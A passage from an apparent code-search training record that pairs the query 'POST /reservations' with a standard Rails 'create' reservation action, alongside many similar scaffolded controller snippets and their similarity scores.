"def create\n reservation = Reservation.new(reserve_params)\n respond_to do |format|\n if reservation.update(reserve_params)\n format.html { render :show,:locals => {:reservation => reservation}, notice: 'Reservation was successfully created.' }\n format.json { render :show,:locals => {:reservation => reservation}, status: :ok, location: reservation }\n else\n format.html { render :edit,:locals => {:reservation => reservation} }\n format.json { render json: reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @reservation.apartment_id = @apartment.id\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to apartment_reservations_path(@apartment), notice: 'Apartamento Reservado.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @supplier = Supplier.find params[:id]\n\t\t@date = params[:date] ? Date.parse(params[:date]) : Date.today\n \n @reserved_date = ReservedDate.new\n\n respond_to do |format|\n format.html {render :layout => false}\n format.json { render json: @reserved_date }\n end\n end",
"def new\n @residence = Residence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @residence }\n end\n end",
"def new\n @trip = Trip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trip }\n end\n end",
"def new\n @trip = Trip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trip }\n end\n end",
"def new\n @preservative = Preservative.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preservative }\n end\n end",
"def new\r\n @restaurant = Restaurant.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @restaurant }\r\n end\r\n end",
"def new\n @ip = Ip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ip }\n end\n end",
"def new\n @address = Address.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @address }\n end\n end",
"def new\n @address = Address.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @address }\n end\n end",
"def new\n @address = Address.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @address }\n end\n end",
"def new\n @hotel_stay = HotelStay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hotel_stay }\n end\n end",
"def new\n @apt = Apt.new\n @apt.reservations.build\n @object_new = Picture.new # needed for form_for --> gets the path\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @apt }\n end\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_back_or_default home_url }\n #format.html { redirect_to(@reservation, :notice => 'Reservation was successfully created.') }\n format.xml { render :xml => @reservation, :status => :created, :location => @reservation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reservation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @employee_reservation = Employee::Reservation.new(employee_reservation_params)\n\n respond_to do |format|\n if @employee_reservation.save\n format.html { redirect_to @employee_reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @employee_reservation }\n else\n format.html { render :new }\n format.json { render json: @employee_reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end",
"def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end",
"def new\n @requesttomentor = Requesttomentor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requesttomentor }\n end\n end",
"def create\n @reserved = Reserved.new(reserved_params)\n\n respond_to do |format|\n if @reserved.save\n format.html { redirect_to @reserved, notice: 'Reserved was successfully created.' }\n format.json { render :show, status: :created, location: @reserved }\n else\n format.html { render :new }\n format.json { render json: @reserved.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n format.js\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else \n format.js\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @ip = @customer.ips.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ip }\n end\n end",
"def new\n @serving = Serving.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serving }\n end\n end",
"def create\n @reserf = Reserve.new(params[:reserf])\n\n respond_to do |format|\n if @reserf.save\n format.html { redirect_to @reserf, notice: 'Reserve was successfully created.' }\n format.json { render json: @reserf, status: :created, location: @reserf }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reserf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end"
] |
[
"0.7976941",
"0.752405",
"0.74309754",
"0.74203265",
"0.7392128",
"0.73398656",
"0.7239581",
"0.7238058",
"0.7161617",
"0.71141356",
"0.7062703",
"0.7062703",
"0.7060762",
"0.69739974",
"0.69480234",
"0.694256",
"0.694256",
"0.6937633",
"0.6850717",
"0.6814992",
"0.6797522",
"0.67774266",
"0.6761441",
"0.67483914",
"0.6701255",
"0.66684043",
"0.66684043",
"0.666284",
"0.6658397",
"0.6654039",
"0.66534126",
"0.6621301",
"0.6621301",
"0.6621301",
"0.6616646",
"0.66156554",
"0.66098416",
"0.659997",
"0.659997",
"0.6593504",
"0.65875876",
"0.65844387",
"0.65844387",
"0.65844387",
"0.65844387",
"0.65844387",
"0.65664876",
"0.65664876",
"0.65664876",
"0.65664876",
"0.65664876",
"0.6563233",
"0.65533996",
"0.65453434",
"0.65397453",
"0.65379024",
"0.6532426",
"0.6532426",
"0.65289474",
"0.6513945",
"0.65129155",
"0.65129155",
"0.65129155",
"0.65129155",
"0.65129155",
"0.65128237",
"0.6511424",
"0.6508599",
"0.6508251",
"0.6502065",
"0.65008605",
"0.6499115",
"0.6499115",
"0.6497577",
"0.64934707",
"0.648672",
"0.648672",
"0.64760685",
"0.64758813",
"0.64749485",
"0.6471022",
"0.6471022",
"0.6471022",
"0.6465941",
"0.6457656",
"0.64564264",
"0.6451503",
"0.64412856",
"0.64412856",
"0.6437486",
"0.6434074",
"0.64305174",
"0.6425938",
"0.6423533",
"0.64226985",
"0.64208955",
"0.64208955",
"0.64208955"
] |
0.7990907
|
1
|
POST /reservations POST /reservations.json
|
def create
@reservation = Reservation.new(reservation_params)
respond_to do |format|
if @reservation.save
format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }
format.json { render json: @reservation, status: :created, location: @reservation }
else
format.html { render action: "new" }
format.json { render json: @reservation.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @reservation = Reservation.new(reservation_params)\n\n if @reservation.save\n render :show, status: :created, location: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def create_reservations\n Time.use_zone(@timezone) do\n @reservations = build_reservations\n return nil unless @reservations.any?\n @reservations = commit_reservations(@reservations)\n return nil unless valid? && @reservations.all?(&:persisted?)\n charge(@reservations) && @reservations.each(&:reload) if @pay\n track(@reservations)\n\n @reservations\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n render json: reservations\n end",
"def create\r\n @reservation = Reservation.new(reservation_params)\r\n respond_to do |format|\r\n if @reservation.save\r\n format.html { redirect_to reservations_path, notice: 'Reservation was successfully created.' }\r\n format.json { render :show, status: :created, location: @reservation }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @reservation_room = ReservationRoom.new(reservation_room_params)\n @reservations = Reservation.all\n \n respond_to do |format|\n if @reservation_room.save\n format.html { redirect_to @reservation_room, notice: 'La habitacion se ha asignado a la reserva correctamente.' }\n format.json { render action: 'show', status: :created, location: @reservation_room }\n else\n format.html { render action: 'new' }\n format.json { render json: @reservation_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n if @reservation.save\n render 'api/reservations/show'\n else\n render json: @reservation.errors.full_messages, status: 422\n\n end \n\n\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @reservation.user = current_user\n @reservation.flight = flight\n\n if @reservation.save\n render json: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @reservation.apartment_id = @apartment.id\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to apartment_reservations_path(@apartment), notice: 'Apartamento Reservado.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def create\n @reservation = current_user.reservations.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render \"reservations/show\", success: true, status: :created, location: @reservation }\n else\n format.html {\n @menu_items = MenuItem.of_the_next_seven_days.includes(:restaurant)\n @restaurants = @menu_items.collect { |menu_item| menu_item.restaurant }\n render action: \"new\"\n }\n format.json {\n render json: @reservation.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @reservation.requester = current_user\n if params[:reservation][:nook_id]\n @nook = Nook.find(params[:reservation][:nook_id])\n @reservation.nook = @nook\n end\n\n respond_to do |format|\n if @reservation.save\n format.html {\n flash[:notice] = t('reservations.submitted')\n if request.xhr?\n render text: nooks_url\n else\n redirect_to nooks_path\n end\n }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n @reservation.user_id = current_user.id\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = @brewery.reservations.new(reservation_params)\n\n respond_to do |format|\n if @reservation.save\n format.html { notification }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n reservation = Reservation.new(reserve_params)\n respond_to do |format|\n if reservation.update(reserve_params)\n format.html { render :show,:locals => {:reservation => reservation}, notice: 'Reservation was successfully created.' }\n format.json { render :show,:locals => {:reservation => reservation}, status: :ok, location: reservation }\n else\n format.html { render :edit,:locals => {:reservation => reservation} }\n format.json { render json: reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @reservation = Reservation.new(reservation_params)\n @reservation = current_user.reservations.create!(reservation_params)\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n # current_user.book! @reservation\n end",
"def create\n @reservation = V2::Reservation.new(reservation_params)\n if @reservation.save\n flash[:notice] = \"An interview has been booked for #{@reservation.time_slot.start_datetime_human}\"\n send_notifications(@reservation)\n else\n flash[:error] = \"No time slot was selected, couldn't create the reservation\"\n end\n @available_time_slots = []\n @person = @reservation.person\n respond_to do |format|\n format.js {}\n format.html { render :new }\n end\n end",
"def create\r\n @reservation = Reservation.new(reservation_params)\r\n @reservation.user = current_user\r\n\r\n respond_to do |format|\r\n if @reservation.save\r\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\r\n format.json { render :show, status: :created, location: @reservation }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def create\n @employee_reservation = Employee::Reservation.new(employee_reservation_params)\n\n respond_to do |format|\n if @employee_reservation.save\n format.html { redirect_to @employee_reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @employee_reservation }\n else\n format.html { render :new }\n format.json { render json: @employee_reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @reservations = prep_reservation\n render json: @reservations, status: :ok\n end",
"def create\n res = Reservation.create(\n row: params[:row],\n col: params[:col],\n user_id: params[:user_id], # DON'T DO THIS! Use current_user\n flight_id: params[:flight_id]\n )\n\n if res.persisted?\n # Send back the reservation object that was successfully created\n render json: res\n else\n # Send back an error hash, including the ActiveRecord validation error messages\n render json: { error: true, messages: res.errors.full_messages }\n end\n end",
"def create\n @reserve = Reserf.new(reserf_params)\n\n respond_to do |format|\n if @reserve.save\n format.html { redirect_to @reserve, notice: 'Reserf was successfully created.' }\n format.json { render :show, status: :created, location: @reserve }\n else\n format.html { render :new }\n format.json { render json: @reserve.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def create\n reservation_id = SecureRandom.uuid\n\n Reservation::Worker::Process.perform_async(reservation_id, Time.zone.now.to_i, reservation_params)\n\n render json: { reservation_id: reservation_id }, status: 200\n end",
"def create \n p_name = params[:reservation][:name]\n p_amount_people = params[:reservation][:amount_people]\n p_year1 = params[:reservation][\"arrive_date(1i)\"].to_i\n p_month1 = params[:reservation][\"arrive_date(2i)\"].to_i\n p_day1 = params[:reservation][\"arrive_date(3i)\"].to_i\n p_year2 = params[:reservation][\"departure_date(1i)\"].to_i\n p_month2 = params[:reservation][\"departure_date(2i)\"].to_i\n p_day2 = params[:reservation][\"departure_date(3i)\"].to_i\n p_needs = params[:reservation][:needs].split(' ')\n p_activities = params[:reservation][:activities].split(' ')\n\n @reservation = Reservation.new(\n username: @username_actual,\n name: p_name,\n amount_people: p_amount_people,\n arrive_date: Date.new(\n p_year1,\n p_month1,\n p_day1\n ),\n departure_date: Date.new(\n p_year2,\n p_month2,\n p_day2\n ),\n needs: p_needs,\n activities: p_activities\n )\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agenda_reserv_resource = Agenda::ReservResource.new(agenda_reserv_resource_params)\n if @agenda_reserv_resource.save\n flash[:success] = t('notices.saved_successfully')\n index\n end\n\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n EventNotification.notify_admin(@reservation).deliver\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reservations\n @reservations ||= flight.reservations\n end",
"def create\n @reservation = Reservation.new(reservation_params) \n respond_to do |format|\n if @reservation.save\n\n Reservation.last.reservation_rooms.each do |reservation|\n #Cambio el estado de la habitacion\n reservation.update({start: reservation.check_in, end: (reservation.check_out.to_date)+1,title: \"Reserva: \"+Room.find(reservation.room_id).identificador ,textColor: \"#ffffff\"})\n #Le pongo check_in y check_out para el calendario\n Room.find(reservation.room_id).update({state_id: 3})\n end\n\n format.html { redirect_to reservations_path(), notice: 'Reservacion creada exitosamente.' }\n #format.json { render :show, status: :created, location: @reservation }\n else\n #@my_reservation_requests = ReservationRequest.find(reservation_params[:reservation_request_id])\n #@reservation.reservation_requests.build()\n @reservation.reservation_rooms.build() \n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n # to help with creation errors:\n @reservation.customer = current_customer \n @reservation.restaurant = @restaurant \n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = @space.reservations.build(reservation_params.merge(user: authed_user))\n\n respond_to do |format|\n if @reservation.save\n ReservationMailer.created_email(@reservation, root_url.gsub(/\\/$/, '')).deliver_later\n format.html { redirect_to [@reservation.space.location.org, @reservation.space.location, @reservation.space, @reservation], notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: [@reservation.space.location.org, @reservation.space.location, @reservation.space, @reservation] }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reserf = Reserve.new(params[:reserf])\n\n respond_to do |format|\n if @reserf.save\n format.html { redirect_to @reserf, notice: 'Reserve was successfully created.' }\n format.json { render json: @reserf, status: :created, location: @reserf }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reserf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n write_log(\"in create -\\n\")\n @reservation = Reservation.new(reservation_params)\n @user = User.find(session[:current_user_id])\n respond_to do |format|\n if @reservation.save\n UserMailer.reservation_confirmation(@user, @reservation).deliver\n UserMailer.car_repair_appointment(@user, @reservation).deliver\n\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @reservation = Reservation.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def create\n @user = User.user_by_token(request.cookies[\"token\"])\n return unless valid_form?\n\n @reservation = Reservation.new(reservation_params)\n @reservation.user = @user\n\n render json: { error: \"The time selected is not available.\" }, status: :unauthorized and return unless valid_time?\n render json: { error: \"Reservation time too long.\" }, status: :unauthorized and return false unless valid_length?\n unless valid_vaccine?\n render json: { error: \"You must be vaccinated to use this amenity.\" }, status: :unauthorized and return false\n end\n\n save_reservation\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n @reservation.user_id = current_user.id\n\n respond_to do |format|\n if @reservation.save\n\n # UserMailer.booking_create(current_user, @reservation).deliver\n # OwnerMailer.booking_create(@reservation).deliver\n\n Reward.create( user_id: @reservation.user_id, \n reservation_id: @reservation.id, \n points_total: 5*@reservation.party_size, \n points_pending: 5*@reservation.party_size, \n description: \"\")\n \n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reserf = Reserve.new(reserf_params)\n @reserf.busy = true\n\n respond_to do |format|\n if @reserf.save\n format.html { redirect_to root_path, notice: 'Reserve was successfully created.' }\n format.json { render :show, status: :created, location: @reserf }\n else\n format.html { render :new }\n format.json { render json: @reserf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n if user_signed_in?\n @reservation.user_id = current_user.id\n elsif owner_signed_in?\n @reservation.owner_id = current_owner.id\n @reservation.restaurant = current_owner.restaurant\n end\n\n respond_to do |format|\n if @reservation.save\n\n if user_signed_in?\n Reward.create( user_id: @reservation.user_id, \n reservation_id: @reservation.id, \n points_total: 5*@reservation.party_size, \n points_pending: 5*@reservation.party_size, \n description: \"\")\n end\n \n if user_signed_in?\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { redirect_to root_url, notice: 'Reservation was successfully created.' }\n end\n\n # UserMailer.booking_create(current_user, @reservation).deliver\n # OwnerMailer.booking_create(@reservation).deliver\n else\n format.html { render action: \"new\" }\n # format.html { redirect_to new_reservation_path(reservation: params[:reservation]) }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n\n end\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n @reservation.status = \"Pending\"\n @reservation.user = current_user\n\n place = Place.find_by_id(params[:reservation][:place_id])\n\n @reservation.object_resources << place.object_resources if place\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservacion = Reservacion.new(reservacion_params)\n\n respond_to do |format|\n if @reservacion.save\n format.html { redirect_to @reservacion, notice: 'Su solicitud fue realizada satisfactoriamente.' }\n format.json { render :show, status: :created, location: @reservacion }\n else\n format.html { render :new }\n format.json { render json: @reservacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agenda_reservation = Agenda::Reservation.new(agenda_reservation_params)\n if @agenda_reservation.save\n flash[:success] = t('notices.saved_successfully')\n index\n end\n end",
"def create\n sr = SeatReservation.reserve_seat(@customer, params[:seat_id])\n\n # NJS - what to return back? just a success msg?\n respond_to do |format|\n format.json { render json: {reservation_id: sr.id}} \n end\n end",
"def index\n @reservations = @apartment.reservations.all\n end",
"def reservation_params\n params.require('reservation').permit('user_id', 'event_id')\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @user = current_user\n @date = (@reservation.reserved_on).to_formatted_s(:long_ordinal)\n @date_of_return = (@reservation.reserved_on + 1.month).to_formatted_s(:long_ordinal)\n respond_to do |format|\n if @reservation.save\n ReservationMailer.create_reservation_notifier(@user, @date, @date_of_return).deliver\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @reservation }\n else\n format.html { render action: 'new' }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reservation_params\n params.require(:reservation).permit(:user_id, :listing_id, :start_date, :end_date, :guest_number, :verified)\n end",
"def create\n\n @reservation = Reservation.new(reservation_params)\n\n @passenger = Passenger.new\n @passengers = Passenger.all\n @enterprise = Enterprise.new\n @enterprises = Enterprise.all\n @rooms = Room.all\n @groups = Group.all\n @room_types = RoomType.all\n\n respond_to do |format|\n if @reservation.guardar( new_reservation_rooms )\n format.html { redirect_to @reservation, notice: 'La reserva se ha registrado correctamente.' }\n format.json { render action: 'show', status: :created, location: @reservation }\n else\n format.html { render action: 'new' }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @reservations = @user.reservations\n @reservations_json = []\n @reservations.each do |r|\n ro = r\n r = r.as_json\n %w{arrived email no_show owner_id}.each {|k| r.delete(k)}\n r[:start_time] = ro.start_time_format\n r[:end_time] = ro.end_time_format\n @reservations_json << r\n end\n\n render json: @reservations_json, status: 200 \n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n format.js\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else \n format.js\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n Reservation.transaction do\n @reservation = Reservation.new(reservation_params)\n @reservation.room.lock!\n\n respond_to do |format|\n if @reservation.save\n @invoke_slack_webhook = true\n format.html { redirect_to @reservation, notice: '予約を登録しました' }\n format.json { render :show, status: :created, location: @reservation }\n if @reservation.room_id == 0 && !ENV[\"SCHEDULE_EMAIL_ADDRESS\"].blank?\n ScheduleMailer.schedule_mail(@reservation).deliver_now\n end\n else\n @invoke_slack_webhook = false\n format.html do\n set_rooms\n render :new\n end\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def reservation_params\n params.require(:reservation).permit(:name, :amount_people, :arrive_date, :departure_date, :needs, :activities)\n end",
"def create\n format_time_input\n check_input\n @reservation = Reservation.new(reservation_params)\n @reservation.status = :requested\n respond_to do |format|\n # TODO: Duplication\n if @conflicts.any?\n respond_to_conflicts :new, format\n elsif @reservation.save\n notify_approval_needed\n respond_to_update format\n else\n respond_to_errors :new, format\n end\n end\n end",
"def create\n @reservation_detail = ReservationDetail.new(reservation_detail_params)\n\n respond_to do |format|\n if @reservation_detail.save\n format.html { redirect_to @reservation_detail, notice: \"Reservation detail was successfully created.\" }\n format.json { render :show, status: :created, location: @reservation_detail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @reservation_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n space = Space.find(params[:space_id])\n group = Group.find(space.group_id)\n group_member_ids = Member.where(group_id: group.id).pluck(:user_id)\n unless group_member_ids.include?(@current_user.id)\n return render json: { message: \"You are not permitted to perform this operation.\" }, status: :forbidden\n end\n @reservation = Reservation.new(reservation_params)\n\n if @reservation.save\n render json: @reservation, status: :created\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def create\n @reservation_owner = ReservationOwner.new(reservation_owner_params)\n\n respond_to do |format|\n if @reservation_owner.save\n format.html { redirect_to @reservation_owner, notice: 'Reservation owner was successfully created.' }\n format.json { render :show, status: :created, location: @reservation_owner }\n else\n format.html { render :new }\n format.json { render json: @reservation_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n total_due = @reservation.get_total_due\n @reservation[:total_due] = total_due\n @reservation.save\n\n respond_to do |format|\n\n if @reservation.persisted?\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, include:['property'] }\n else\n format.html { render :new }\n format.json { render json: { status: 401, errors: @reservation.errors } }\n\n # for the API create\n # headers['Access-Control-Allow-Origin'] = '*'\n # reservation = Reservation.create reservation_params\n #\n # render json: reservation, include: ['flight', 'user']\n end\n end\n end",
"def index\n @reservations = @bus.reservations\n end",
"def reservation_params\n params.require(:reservation).permit(:user_id, :restaurant_id, :seats, :date, :time)\n end",
"def create\n @reservationdetail = Reservationdetail.new(reservationdetail_params)\n\n respond_to do |format|\n if @reservationdetail.save\n format.html { redirect_to reservation_reservationdetail_url(@reservation, @reservationdetail), notice: 'Reservationdetail was successfully created.' }\n format.json { render :show, status: :created, location: @reservationdetail }\n else\n format.html { render :new }\n format.json { render json: @reservationdetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reserve(*args)\n @reservations << Reservation.new(self, *args)\n end",
"def reservation_params\n params.require(:reservation).permit(:from_date, :to_date, :property_id, :guests_count, :booking_code)\n end",
"def create\n=begin temp = params[:reserf]\n temp[\"roomname\"] = params[:room][\"roomname\"]\n @reserf = Reserve.new(temp)\n @roomtype = DetailRoom.all_types\n @time = Room.all_times\n @day_list = Room.all_days\n respond_to do |format|\n if @reserf.save\n format.html { redirect_to result_path(@reserf), notice: 'Reserve was successfully created.' }\n format.json { render json: @reserf, status: :created, location: @reserf }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reserf.errors, status: :unprocessable_entity }\n end\n end\n=end\n end",
